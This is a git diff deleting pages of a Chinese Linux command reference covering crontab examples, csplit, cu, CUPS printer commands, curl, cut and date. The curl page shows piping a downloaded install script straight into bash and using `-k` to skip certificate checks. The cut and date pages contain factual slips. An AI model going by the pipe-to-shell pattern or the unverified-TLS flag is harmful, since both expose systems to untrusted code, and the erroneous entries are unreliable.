每月1、10、22日的4 : 45重启smb 

-
45 4 1,10,22 * * /etc/init.d/smb restart
-
-

每周六、周日的1:10重启smb

-
10 1 * * 6,0 /etc/init.d/smb restart
-
-

每天18 : 00至23 : 00之间每隔30分钟重启smb 

-
0,30 18-23 * * * /etc/init.d/smb restart
-
-

每星期六的晚上11:00 pm重启smb 

-
0 23 * * 6 /etc/init.d/smb restart
-
-

每一小时重启smb 

-
* */1 * * * /etc/init.d/smb restart
-
-

晚上11点到早上7点之间,每隔一小时重启smb

-
* 23-7/1 * * * /etc/init.d/smb restart
-
-

每月的4号与每周一到周三的11点重启smb 

-
0 11 4 * mon-wed /etc/init.d/smb restart
-
-

一月一号的4点重启smb

-
0 4 1 jan * /etc/init.d/smb restart
-
-

每小时执行/etc/cron.hourly目录内的脚本

-
01 * * * * root run-parts /etc/cron.hourly
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/csplit.html b/linux-command.docset/Contents/Resources/Documents/c/csplit.html deleted file mode 100644 index 04c0c28915..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/csplit.html +++ /dev/null @@ -1,122 +0,0 @@ - - - - - - - - - - - csplit 命令,Linux csplit 命令详解:将一个大文件分割成小的碎片文件 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

csplit

-

将一个大文件分割成小的碎片文件

-

补充说明

-

csplit命令 用于将一个大文件分割成小的碎片,并且将分割后的每个碎片保存成一个文件。碎片文件的命名类似“xx00”,“xx01”。csplit命令是split的一个变体,split只能够根据文件大小或行数来分割,但csplit能够根据文件本身特点来分割文件。

-

语法

-
csplit(选项)(参数)
-
-

选项

-
-b<输出格式>或--suffix-format=<输出格式>:预设的输出格式其文件名称为xx00,xx01等,用户可以通过改变<输出格式>来改变输出的文件名;
--f<输出字首字符串>或--prefix=<输出字首字符串>:预设的输出字首字符串其文件名为xx00,xx01等,如果制定输出字首字符串为“hello”,则输出的文件名称会变成hello00,hello、01......
--k或--keep-files:保留文件,就算发生错误或中断执行,与不能删除已经输出保存的文件;
--n<输出文件名位数>或--digits=<输出文件名位数>:预设的输出文件名位数其文件名称为xx00,xx01......如果用户指定输出文件名位数为“3”,则输出的文件名称会变成xx000,xx001等;
--q或-s或--quiet或——silent:不显示指令执行过程;
--z或--elide-empty-files:删除长度为0 Byte文件。
-
-

参数

-
    -
  • 文件:指定要分割的原文件;
  • -
  • 模式:指定要分割文件时的匹配模式。
  • -
-

实例

-

示例测试文件 server.log

-
cat server.log
-SERVER-1
-[con] 10.10.10.1 suc
-[con] 10.10.10.2 fai
-[dis] 10.10.10.3 pen
-[con] 10.10.10.4 suc
-SERVER-2
-[con] 10.10.10.5 suc
-[con] 10.10.10.6 fai
-[dis] 10.10.10.7 pen
-[con] 10.10.10.8 suc
-SERVER-3
-[con] 10.10.10.9 suc
-[con] 10.10.10.10 fai
-[dis] 10.10.10.11 pen
-[con] 10.10.10.12 suc
-
-

需要将server.log分割成server1.log、server2.log、server3.log,这些文件的内容分别取自原文件中不同的SERVER部分:

-
[root@localhost split]# csplit server.log /SERVER/ -n2 -s {*} -f server -b "%02d.log"; rm server00.log
-[root@localhost split]# ls
-server01.log  server02.log  server03.log  server.log
-
-

命令详细说明:

-
/[正则表达式]/   #匹配文本样式,比如/SERVER/,从第一行到包含SERVER的匹配行。
-{*}     #表示根据匹配重复执行分割,直到文件尾停止,使用{整数}的形式指定分割执行的次数。
--s      #静默模式,不打印其他信息。
--n      #指定分割后的文件名后缀的数字个数。比如01、02、03等。
--f      #指定分割后的文件名前缀。
--b      #指定后缀格式。比如%02d.log,类似于C语言中的printf参数格式。
-rm server00.log    #是删除第一个文件,因为分割后的的第一个文件没有内容,匹配的单词就位于文件的第一行中。
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/cu.html b/linux-command.docset/Contents/Resources/Documents/c/cu.html deleted file mode 100644 index 02da859df2..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/cu.html +++ /dev/null @@ -1,102 +0,0 @@ - - - - - - - - - - - cu 命令,Linux cu 命令详解:用于连接另一个系统主机 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

cu

-

用于连接另一个系统主机

-

补充说明

-

cu命令 用于连接另一个系统主机。cu(call up)指令可连接另一台主机,并采用类似拨号终端机的接口工作,也可执行简易的文件传输作业。

-

语法

-
cu [dehnotv][-a<通信端口>][-c<电话号码>][-E<脱离字符>][-I<设置文件>][-l<外围设备代号>]
-[-s<连线速率>][-x<排错模式>][-z<系统主机>][--help][-nostop][--parity=none][<系统主机>/<电话号码>]
-
-

选项

-
-a<通信端口>或-p<通信端口>或--port<通信端口> 使用指定的通信端口进行连线。
--c<电话号码>或--phone<电话号码> 拨打该电话号码。
--d 进入排错模式。
--e或--parity=even 使用双同位检查。
--E<脱离字符>或--escape<脱离字符> 设置脱离字符。
--h或--halfduple 使用半双工模式。
--I<配置文件>或--config<配置文件> 指定要使用的配置文件。
--l<外围设备代号>或--line<外围设备代号> 指定某项外围设备,作为连接的设备。
--n或--prompt 拨号时等待用户输入电话号码。
--o或--parity=odd 使用单同位检查。
--s<连线速率>或--speed<连线速率>或--baud<连线速率>或-<连线速率> 设置连线的速率,单位以鲍率计算。
--t或--maper 把CR字符置换成LF+CR字符。
--v或--version 显示版本信息。
--x<排错模式>或--debug<排错模式> 使用排错模式。
--z<系统主机>或--system<系统主机> 连接该系统主机。
---help 在线帮助。
---nostop 关闭Xon/Xoff软件流量控制。
---parity=none 不使用同位检查。
-
-

实例

-

与远程主机连接

-
cu -c 0102377765
-cu -s 38400 9=12015551234
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/cupsdisable.html b/linux-command.docset/Contents/Resources/Documents/c/cupsdisable.html deleted file mode 100644 index 23a03aee5c..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/cupsdisable.html +++ /dev/null @@ -1,86 +0,0 @@ - - - - - - - - - - - cupsdisable 命令,Linux cupsdisable 命令详解:停止指定的打印机 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

cupsdisable

-

停止指定的打印机

-

补充说明

-

cupsdisable命令 用于停止指定的打印机。

-

语法

-
cupsdisable(选项)(参数)
-
-

选项

-
-E:当连接到服务器时强制使用加密;
--U:指定连接服务器时使用的用户名;
--u:指定打印任务所属的用户;
--c:取消指定打印机的所有打印任务;
--h:指定连接的服务器名和端口号;
--r:停止打印机的原因。
-
-

参数

-

目标:指定目标打印机。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/cupsenable.html b/linux-command.docset/Contents/Resources/Documents/c/cupsenable.html deleted file mode 100644 index aea4103e36..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/cupsenable.html +++ /dev/null @@ -1,84 +0,0 @@ - - - - - - - - - - - cupsenable 命令,Linux cupsenable 命令详解:启动指定的打印机 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

cupsenable

-

启动指定的打印机

-

补充说明

-

cupsenable命令 用于启动指定的打印机。

-

语法

-
cupsenable(选项)(参数)
-
-

选项

-
-E:当连接到服务器时强制使用加密;
--U:指定连接服务器时使用的用户名;
--u:指定打印任务所属的用户;
--h:指定连接的服务器名和端口号;
-
-

参数

-

目标:指定目标打印机。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/curl.html b/linux-command.docset/Contents/Resources/Documents/c/curl.html deleted file mode 100644 index 78f03db43a..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/curl.html +++ /dev/null @@ -1,405 +0,0 @@ - - - - - - - - - - - curl 命令,Linux curl 命令详解:利用URL规则在命令行下工作的文件传输工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

curl

-

利用URL规则在命令行下工作的文件传输工具

-

补充说明

-

curl命令 是一个利用URL规则在命令行下工作的文件传输工具。它支持文件的上传和下载,所以是综合传输工具,但按传统,习惯称curl为下载工具。作为一款强力工具,curl支持包括HTTP、HTTPS、ftp等众多协议,还支持POST、cookies、认证、从指定偏移处下载部分文件、用户代理字符串、限速、文件大小、进度条等特征。做网页处理流程和数据检索自动化,curl可以祝一臂之力。

-

语法

-
curl(选项)(参数)
-
-

选项

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-a/--append上传文件时,附加到目标文件
-A/--user-agent 设置用户代理发送给服务器
-anyauth可以使用“任何”身份验证方法
-b/--cookie cookie字符串或文件读取位置
     --basic使用HTTP基本验证
-B/--use-ascii使用ASCII /文本传输
-c/--cookie-jar 操作结束后把cookie写入到这个文件中
-C/--continue-at 断点续传
-d/--data HTTP POST方式传送数据
     --data-ascii 以ascii的方式post数据
     --data-binary 以二进制的方式post数据
     --negotiate使用HTTP身份验证
     --digest使用数字身份验证
     --disable-eprt禁止使用EPRT或LPRT
     --disable-epsv禁止使用EPSV
-D/--dump-header 把header信息写入到该文件中
     --egd-file 为随机数据(SSL)设置EGD socket路径
     --tcp-nodelay使用TCP_NODELAY选项
-e/--referer来源网址
-E/--cert 客户端证书文件和密码 (SSL)
     --cert-type 证书文件类型 (DER/PEM/ENG) (SSL)
     --key 私钥文件名 (SSL)
     --key-type 私钥文件类型 (DER/PEM/ENG) (SSL)
     --pass 私钥密码 (SSL)
     --engine 加密引擎使用 (SSL). "--engine list" for list
     --cacert CA证书 (SSL)
     --capath CA目录 (made using c_rehash) to verify peer against (SSL)
     --ciphers SSL密码
     --compressed要求返回是压缩的形势 (using deflate or gzip)
     --connect-timeout 设置最大请求时间
     --create-dirs建立本地目录的目录层次结构
     --crlf上传是把LF转变成CRLF
-f/--fail连接失败时不显示http错误
     --ftp-create-dirs如果远程目录不存在,创建远程目录
     --ftp-method [multicwd/nocwd/singlecwd]控制CWD的使用
     --ftp-pasv使用 PASV/EPSV 代替端口
     --ftp-skip-pasv-ip使用PASV的时候,忽略该IP地址
     --ftp-ssl尝试用 SSL/TLS 来进行ftp数据传输
     --ftp-ssl-reqd要求用 SSL/TLS 来进行ftp数据传输
-F/--form 模拟http表单提交数据
     --form-string 模拟http表单提交数据
-g/--globoff禁用网址序列和范围使用{}和[]
-G/--get以get的方式来发送数据
-H/--header 自定义头信息传递给服务器
     --ignore-content-length忽略的HTTP头信息的长度
-i/--include输出时包括protocol头信息
-I/--head只显示请求头信息
-j/--junk-session-cookies读取文件进忽略session cookie
     --interface 使用指定网络接口/地址
     --krb4 使用指定安全级别的krb4
-k/--insecure允许不使用证书到SSL站点
-K/--config指定的配置文件读取
-l/--list-only列出ftp目录下的文件名称
     --limit-rate 设置传输速度
     --local-port强制使用本地端口号
-m/--max-time 设置最大传输时间
     --max-redirs 设置最大读取的目录数
     --max-filesize 设置最大下载的文件总量
-M/--manual显示全手动
-n/--netrc从netrc文件中读取用户名和密码
     --netrc-optional使用 .netrc 或者 URL来覆盖-n
     --ntlm使用 HTTP NTLM 身份验证
-N/--no-buffer禁用缓冲输出
-o/--output把输出写到该文件中
-O/--remote-name把输出写到该文件中,保留远程文件的文件名
-p/--proxytunnel使用HTTP代理
     --proxy-anyauth选择任一代理身份验证方法
     --proxy-basic在代理上使用基本身份验证
     --proxy-digest在代理上使用数字身份验证
     --proxy-ntlm在代理上使用ntlm身份验证
-P/--ftp-port
使用端口地址,而不是使用PASV
-q作为第一个参数,关闭 .curlrc
-Q/--quote 文件传输前,发送命令到服务器
-r/--range 检索来自HTTP/1.1或FTP服务器字节范围
--range-file读取(SSL)的随机文件
-R/--remote-time在本地生成文件时,保留远程文件时间
     --retry 传输出现问题时,重试的次数
     --retry-delay 传输出现问题时,设置重试间隔时间
     --retry-max-time 传输出现问题时,设置最大重试时间
-s/--silent静默模式。不输出任何东西
-S/--show-error显示错误
     --socks4 用socks4代理给定主机和端口
     --socks5 用socks5代理给定主机和端口
     --stderr  
-t/--telnet-option Telnet选项设置
     --trace 对指定文件进行debug
     --trace-ascii Like --跟踪但没有hex输出
     --trace-time跟踪/详细输出时,添加时间戳
-T/--upload-file 上传文件
     --url Spet URL to work with
-u/--user 设置服务器的用户和密码
-U/--proxy-user 设置代理用户名和密码
-w/--write-out [format]什么输出完成后
-x/--proxy 在给定的端口上使用HTTP代理
-X/--request 指定什么命令
-y/--speed-time放弃限速所要的时间,默认为30
-Y/--speed-limit停止传输速度的限制,速度时间
-

实例

-

文件下载

-

curl命令可以用来执行下载、发送各种HTTP请求,指定HTTP头部等操作。如果系统没有curl可以使用yum install curl安装,也可以下载安装。curl是将下载文件输出到stdout,将进度信息输出到stderr,不显示进度信息使用--silent选项。

-
curl URL --silent
-
-

这条命令是将下载文件输出到终端,所有下载的数据都被写入到stdout。

-

使用选项-O将下载的数据写入到文件,必须使用文件的绝对地址:

-
curl http://example.com/text.iso --silent -O
-
-

选项-o将下载数据写入到指定名称的文件中,并使用--progress显示进度条:

-
curl http://example.com/test.iso -o filename.iso --progress
-######################################### 100.0%
-
-

不输出错误和进度信息

-

-s 参数将不输出错误和进度信息。

-
curl -s https://www.example.com
-# 上面命令一旦发生错误,不会显示错误信息。不发生错误的话,会正常显示运行结果。
-
-

如果想让 curl 不产生任何输出,可以使用下面的命令。

-
curl -s -o /dev/null https://google.com
-
-

断点续传

-

curl能够从特定的文件偏移处继续下载,它可以通过指定一个便宜量来下载部分文件:

-
curl URL/File -C 偏移量
-
-#偏移量是以字节为单位的整数,如果让curl自动推断出正确的续传位置使用-C -:
-curl -C -URL
-
-

使用curl设置参照页字符串

-

参照页是位于HTTP头部中的一个字符串,用来表示用户是从哪个页面到达当前页面的,如果用户点击网页A中的某个连接,那么用户就会跳转到B网页,网页B头部的参照页字符串就包含网页A的URL。

-

使用--referer选项指定参照页字符串:

-
curl --referer http://www.google.com http://wangchujiang.com
-
-

用curl设置用户代理字符串

-

有些网站访问会提示只能使用IE浏览器来访问,这是因为这些网站设置了检查用户代理,可以使用curl把用户代理设置为IE,这样就可以访问了。使用--user-agent或者-A选项:

-
curl URL --user-agent "Mozilla/5.0"
-curl URL -A "Mozilla/5.0"
-
-

其他HTTP头部信息也可以使用curl来发送,使用-H"头部信息" 传递多个头部信息,例如:

-
curl -H "Host:wangchujiang.com" -H "accept-language:zh-cn" URL
-
-

curl的带宽控制和下载配额

-

使用--limit-rate限制curl的下载速度:

-
curl URL --limit-rate 50k
-
-

命令中用k(千字节)和m(兆字节)指定下载速度限制。

-

使用--max-filesize指定可下载的最大文件大小:

-
curl URL --max-filesize bytes
-
-

如果文件大小超出限制,命令则返回一个非0退出码,如果命令正常则返回0。

-
curl --limit-rate 200k https://example.com
-# 上面命令将带宽限制在每秒 200K 字节。
-
-

用curl进行认证

-

使用curl选项 -u 可以完成HTTP或者FTP的认证,可以指定密码,也可以不指定密码在后续操作中输入密码:

-
curl -u user:pwd http://wangchujiang.com
-curl -u user http://wangchujiang.com
-
-

只打印响应头部信息

-

通过-I或者-head可以只打印出HTTP头部信息:

-
[root@localhost text]# curl -I http://wangchujiang.com
-HTTP/1.1 200 OK
-Server: nginx/1.2.5
-date: Mon, 10 Dec 2012 09:24:34 GMT
-Content-Type: text/html; charset=UTF-8
-Connection: keep-alive
-Vary: Accept-Encoding
-X-Pingback: http://wangchujiang.com/xmlrpc.php
-
-

get请求

-
curl "http://www.wangchujiang.com"    # 如果这里的URL指向的是一个文件或者一幅图都可以直接下载到本地
-curl -i "http://www.wangchujiang.com" # 显示全部信息
-curl -l "http://www.wangchujiang.com" # 只显示头部信息
-curl -v "http://www.wangchujiang.com" # 显示get请求全过程解析
-
-

post请求

-
$ curl -d "param1=value1&param2=value2" "http://www.wangchujiang.com/login"
-
-curl -d'login=emma&password=123' -X POST https://wangchujiang.com/login
-# 或者
-$ curl -d 'login=emma' -d 'password=123' -X POST  https://wangchujiang.com/login
-
-

--data-urlencode 参数等同于 -d,发送 POST 请求的数据体,区别在于会自动将发送的数据进行 URL 编码。

-
curl --data-urlencode 'comment=hello world' https://wangchujiang.com/login
-# 上面代码中,发送的数据hello world之间有一个空格,需要进行 URL 编码。
-
-

读取本地文本文件的数据,向服务器发送

-
curl -d '@data.txt' https://wangchujiang.com/upload
-# 读取data.txt文件的内容,作为数据体向服务器发送。
-
-

json格式的post请求

-
curl -l -H "Content-type: application/json" -X POST -d '{"phone":"13521389587","password":"test"}' http://wangchujiang.com/apis/users.json
-
-

向服务器发送 Cookie

-

使用--cookie "COKKIES"选项来指定cookie,多个cookie使用分号分隔:

-
curl http://wangchujiang.com --cookie "user=root;pass=123456"
-
-

将cookie另存为一个文件,使用--cookie-jar选项:

-
curl URL --cookie-jar cookie_file
-
-

-b 参数用来向服务器发送 Cookie。

-
curl -b 'foo=bar' https://taobao.com
-# 上面命令会生成一个标头Cookie: foo=bar,向服务器发送一个名为foo、值为bar的 Cookie。
-
-
curl -b 'foo1=bar' -b 'foo2=baz' https://taobao.com
-# 上面命令发送两个 Cookie。
-
-```shell
-curl -b cookies.txt https://www.taobao.com
-# 上面命令读取本地文件 cookies.txt,里面是服务器设置的 Cookie(参见-c参数),将其发送到服务器。
-
-

Cookie 写入一个文件

-
curl -c cookies.txt https://www.taobao.com
-# 上面命令将服务器的 HTTP 回应所设置 Cookie 写入文本文件cookies.txt。
-
-

请求的来源

-

-e 参数用来设置 HTTP 的标头 Referer,表示请求的来源。

-
curl -e 'https://taobao.com?q=example' https://www.example.com
-# 上面命令将Referer标头设为 https://taobao.com?q=example。
-
-

-H 参数可以通过直接添加标头 Referer,达到同样效果。

-
curl -H 'Referer: https://taobao.com?q=example' https://www.example.com
-
-

上传二进制文件

-

-F 参数用来向服务器上传二进制文件。

-
curl -F 'file=@photo.png' https://taobao.com/profile
-# 上面命令会给 HTTP 请求加上标头 Content-Type: multipart/form-data ,然后将文件photo.png作为file字段上传。
-
-

-F 参数可以指定 MIME 类型。

-
curl -F 'file=@photo.png;type=image/png' https://taobao.com/profile
-# 上面命令指定 MIME 类型为image/png,否则 curl 会把 MIME 类型设为 application/octet-stream。
-
-

-F 参数也可以指定文件名。

-
curl -F 'file=@photo.png;filename=me.png' https://taobao.com/profile
-# 上面命令中,原始文件名为photo.png,但是服务器接收到的文件名为me.png。
-
-

设置请求头

-

-H 参数添加 HTTP 请求的标头。

-
curl -H 'Accept-Language: en-US' https://google.com
-# 上面命令添加 HTTP 标头 Accept-Language: en-US。
-
-
curl -H 'Accept-Language: en-US' -H 'Secret-Message: xyzzy' https://google.com
-# 上面命令添加两个 HTTP 标头。
-
-
curl -d '{"login": "emma", "pass": "123"}' -H 'Content-Type: application/json' https://google.com/login
-# 上面命令添加 HTTP 请求的标头是 Content-Type: application/json,然后用 -d 参数发送 JSON 数据。
-
-

跳过 SSL 检测

-
curl -k https://www.example.com
-# 上面命令不会检查服务器的 SSL 证书是否正确。
-
-

请求跟随服务器的重定向

-

-L 参数会让 HTTP 请求跟随服务器的重定向。curl 默认不跟随重定向。

-
curl -L -d 'tweet=hi' https://api.example.com/tweet
-
-

调试参数

-

-v 参数输出通信的整个过程,用于调试。

-
curl -v https://www.example.com
-# --trace参数也可以用于调试,还会输出原始的二进制数据。
-
-
$ curl --trace - https://www.example.com
-
-

获取本机外网ip

-
curl ipecho.net/plain
-
-

使用 curl 测试网站加载速度

-

命令有一个鲜为人知的选项,-w,该选项在请求结束之后打印本次请求的统计数据到标准输出。

-

首先,我们定义控制打印行为的格式化字符串。新建文本文件 fmt.txt,并填入下面的内容:

-
\n
-Response Time for: %{url_effective}\n\n
-DNS Lookup Time:\t\t%{time_namelookup}s\n
-Redirection Time:\t\t%{time_redirect}s\n
-Connection Time:\t\t%{time_connect}s\n
-App Connection Time:\t\t%{time_appconnect}s\n
-Pre-transfer Time:\t\t%{time_pretransfer}s\n
-Start-transfer Time:\t\t%{time_starttransfer}s\n\n
-Total Time:\t\t\t%{time_total}s\n
-
-

curl 提供了很多置换变量,可以在格式化字符串中通过 %{var} 的形式使用。完整的变量列表可以在 curlmanpage 中查看。简单介绍一下我们使用的这几个变量:

-
    -
  • url_effective: 执行完地址重定向之后的最终 URL;
  • -
  • time_namelookup: 从请求开始至完成名称解析所花的时间,单位为秒,下同;
  • -
  • time_redirect: 执行所有重定向所花的时间;
  • -
  • time_connect: 从请求开始至建立 TCP 连接所花的时间;
  • -
  • time_appconnect: 从请求开始至完成 SSL/SSH 握手所花的时间;
  • -
  • time_pretransfer: 从请求开始至服务器准备传送文件所花的时间,包含了传送协商时间;
  • -
  • time_starttransfer: 从请求开始至服务器准备传送第一个字节所花的时间;
  • -
  • time_total: 完整耗时。
  • -
-

然后执行请求,通过 @filename 指定保存了格式化字符串的文件:

-
$ curl -L -s -w @fmt.txt -o /dev/null http://www.google.com
-
-

输出:

-
Response Time for: http://www.google.co.jp/?gfe_rd=cr&dcr=0&ei=cjIaWpTkHeiQ8QfnxYzoBA
-
-DNS Lookup Time:        0.000038s
-Redirection Time:       0.207271s
-Connection Time:        0.000039s
-App Connection Time:    0.000039s
-Pre-transfer Time:      0.000067s
-Start-transfer Time:    0.260115s
-
-Total Time:             0.467691s
-
-

要求返回是压缩的状态

-
curl --compressed -o- -L https://yarnpkg.com/install.sh | bash
-  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
-                                 Dload  Upload   Total   Spent    Left  Speed
-100    54  100    54    0     0     42      0  0:00:01  0:00:01 --:--:--    42
-100  2341  100  2341    0     0   1202      0  0:00:01  0:00:01 --:--:--  9289
-Installing Yarn!
-> Downloading tarball...
-
-[1/2]: https://yarnpkg.com/latest.tar.gz --> /var/folders/j7/3xly5sk567s65ny5dnr__3b80000gn/T/yarn.tar.gz.XXXXXXXXXX.9hJsBsrA
-  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
-                                 Dload  Upload   Total   Spent    Left  Speed
-100    57  100    57    0     0     72      0 --:--:-- --:--:-- --:--:--    72
-100    93  100    93    0     0     63      0  0:00:01  0:00:01 --:--:--    63
-100   643  100   643    0     0    248      0  0:00:02  0:00:02 --:--:--   707
-100 1215k  100 1215k    0     0   153k      0  0:00:07  0:00:07 --:--:--  305k
-
-[2/2]: https://yarnpkg.com/latest.tar.gz.asc --> /var/folders/j7/3xly5sk567s65ny5dnr__3b80000gn/T/yarn.tar.gz.XXXXXXXXXX.9hJsBsrA.asc
-100    61  100    61    0     0    356      0 --:--:-- --:--:-- --:--:--   356
-100    97  100    97    0     0    325      0 --:--:-- --:--:-- --:--:--   325
-100   647  100   647    0     0   1283      0 --:--:-- --:--:-- --:--:--  1283
-100   832  100   832    0     0   1107      0 --:--:-- --:--:-- --:--:--  812k
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/cut.html b/linux-command.docset/Contents/Resources/Documents/c/cut.html deleted file mode 100644 index 8b1a6353f7..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/cut.html +++ /dev/null @@ -1,183 +0,0 @@ - - - - - - - - - - - cut 命令,Linux cut 命令详解:连接文件并打印到标准输出设备上 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

cut

-

连接文件并打印到标准输出设备上

-

补充说明

-

cut 命令 用来显示行中的指定部分,删除文件中指定字段。cut 经常用来显示文件的内容,类似于 type 命令。

-

说明:该命令有两项功能,其一是用来显示文件的内容,它依次读取由参数 file 所指 明的文件,将它们的内容输出到标准输出上;其二是连接两个或多个文件,如cut fl f2 > f3将把文件 fl 和 f2 的内容合并起来,然后通过输出重定向符“>”的作用,将它们放入文件 f3 中。

-

当文件较大时,文本在屏幕上迅速闪过(滚屏),用户往往看不清所显示的内容。因此,一般用 more 等命令分屏显示。为了控制滚屏,可以按 Ctrl+S 键,停止滚屏;按 Ctrl+Q 键可以恢复滚屏。按 Ctrl+C(中断)键可以终止该命令的执行,并且返回 Shell 提示符状态。

-

语法

-
cut(选项)(参数)
-
-

选项

-
-b:仅显示行中指定直接范围的内容;
--c:仅显示行中指定范围的字符;
--d:指定字段的分隔符,默认的字段分隔符为“TAB”;
--f:显示指定字段的内容;
--n:与“-b”选项连用,不分割多字节字符;
---complement:补足被选择的字节、字符或字段;
---out-delimiter= 字段分隔符:指定输出内容是的字段分割符;
---help:显示指令的帮助信息;
---version:显示指令的版本信息。
-
-

参数

-

文件:指定要进行内容过滤的文件。

-

实例

-

例如有一个学生报表信息,包含 No、Name、Mark、Percent:

-
[root@localhost text]# cat test.txt
-No Name Mark Percent
-01 tom 69 91
-02 jack 71 87
-03 alex 68 98
-
-
-

使用 -f 选项提取指定字段(这里的 f 参数可以简单记忆为 --fields的缩写):

-
[root@localhost text]# cut -f 1 test.txt
-No
-01
-02
-03
-
-
[root@localhost text]# cut -f2,3 test.txt
-Name Mark
-tom 69
-jack 71
-alex 68
-
-
-

--complement 选项提取指定字段之外的列(打印除了第二列之外的列):

-
[root@localhost text]# cut -f2 --complement test.txt
-No Mark Percent
-01 69 91
-02 71 87
-03 68 98
-
-

使用 -d 选项指定字段分隔符:

-
[root@localhost text]# cat test2.txt
-No;Name;Mark;Percent
-01;tom;69;91
-02;jack;71;87
-03;alex;68;98
-
-
[root@localhost text]# cut -f2 -d";" test2.txt
-Name
-tom
-jack
-alex
-
-
-

指定字段的字符或者字节范围

-

cut 命令可以将一串字符作为列来显示,字符字段的记法:

-
    -
  • N- :从第 N 个字节、字符、字段到结尾;
  • -
  • N-M :从第 N 个字节、字符、字段到第 M 个(包括 M 在内)字节、字符、字段;
  • -
  • -M :从第 1 个字节、字符、字段到第 M 个(包括 M 在内)字节、字符、字段。
  • -
-

上面是记法,结合下面选项将摸个范围的字节、字符指定为字段:

-
    -
  • -b 表示字节;
  • -
  • -c 表示字符;
  • -
  • -f 表示定义字段。
  • -
-

示例

-
[root@localhost text]# cat test.txt
-abcdefghijklmnopqrstuvwxyz
-abcdefghijklmnopqrstuvwxyz
-abcdefghijklmnopqrstuvwxyz
-abcdefghijklmnopqrstuvwxyz
-abcdefghijklmnopqrstuvwxyz
-
-
-

打印第 1 个到第 3 个字符:

-
[root@localhost text]# cut -c1-3 test.txt
-abc
-abc
-abc
-abc
-abc
-
-
-

打印前 2 个字符:

-
[root@localhost text]# cut -c-2 test.txt
-ab
-ab
-ab
-ab
-ab
-
-
-

打印从第 5 个字符开始到结尾:

-
[root@localhost text]# cut -c5- test.txt
-efghijklmnopqrstuvwxyz
-efghijklmnopqrstuvwxyz
-efghijklmnopqrstuvwxyz
-efghijklmnopqrstuvwxyz
-efghijklmnopqrstuvwxyz
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/date.html b/linux-command.docset/Contents/Resources/Documents/c/date.html deleted file mode 100644 index df77687f51..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/date.html +++ /dev/null @@ -1,235 +0,0 @@ - - - - - - - - - - - date 命令,Linux date 命令详解:显示或设置系统时间与日期 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

date

-

显示或设置系统时间与日期

-

概要

-
date [OPTION]... [+FORMAT]
-date [-u|--utc|--universal] [MMDDhhmm[[CC]YY][.ss]]
-
-

主要用途

-
    -
  • 转换时间到选定的格式,默认为当前。
  • -
  • 设置系统时间。
  • -
-

参数

-

format:输出的时间格式。

-
format可用的转义序列如下:
-
-%%      百分号
-%a      当地缩写的工作日名称(例如,Sun)
-%A      当地完整的工作日名称(例如,Sunday)
-%b      当地缩写的月份名称(例如,Jan)
-%B      当地完整的月份名称(例如,January)
-%c      当地的日期和时间(例如,Thu Mar  3 23:05:25 2005)
-%C      世纪,和%Y类似,但是省略后两位(例如,20)
-%d      一月中的一天(例如,01)
-%D      日期,等价于%m/%d/%y
-%e      一月中的一天,格式使用空格填充,等价于%_d
-%F      完整的日期;等价于%+4Y-%m-%d
-%g      ISO标准计数周的年份的最后两位数字
-%G      ISO标准计数周的年份,通常只对%V有用
-%h      等价于%b
-%H      小时,范围(00..23)
-%I      小时,范围(00..23)
-%j      一年中的一天,范围(001..366)
-%k      小时,使用空格填充,范围(0..23),等价于%_H
-%l      小时,使用空格填充,范围(1..12),等价于%_I
-%m      月,范围(01..12)
-%M      分钟,范围(00..59)
-%n      换行符
-%N      纳秒,范围(000000000..000000000)
-%p      用于表示当地的AM或PM,如果未知则为空白
-%P      类似于%p,但用小写表示
-%q      季度,范围(1..4)
-%r      当地以12小时表示的时钟时间(例如,11:11:04 PM)
-%R      24小时每分钟;等价于%H:%M
-%s      自协调世界时1970年01月01日00时00分以来的秒数
-%S      秒数,范围(00..60)
-%t      水平制表符
-%T      时间;等价于%H:%M:%S
-%u      一周中的一天(1..7),1代表星期一
-%U      一年中的第几周,周日作为一周的起始(00..53)
-%V      ISO标准计数周,该方法将周一作为一周的起始(01..53)
-%w      一周中的一天(0..6),0代表星期天
-%W      一年中的第几周,周一作为一周的起始(00..53)
-%x      当地的日期表示(例如,12/31/99)
-%X      当地的时间表示(例如,23:13:48)
-%y      年份后两位数字,范围(00..99)
-%Y      年份
-%z      +hhmm格式的数值化时区格式(例如,-0400)
-%:z     +hh:mm格式的数值化时区格式(例如,-04:00)
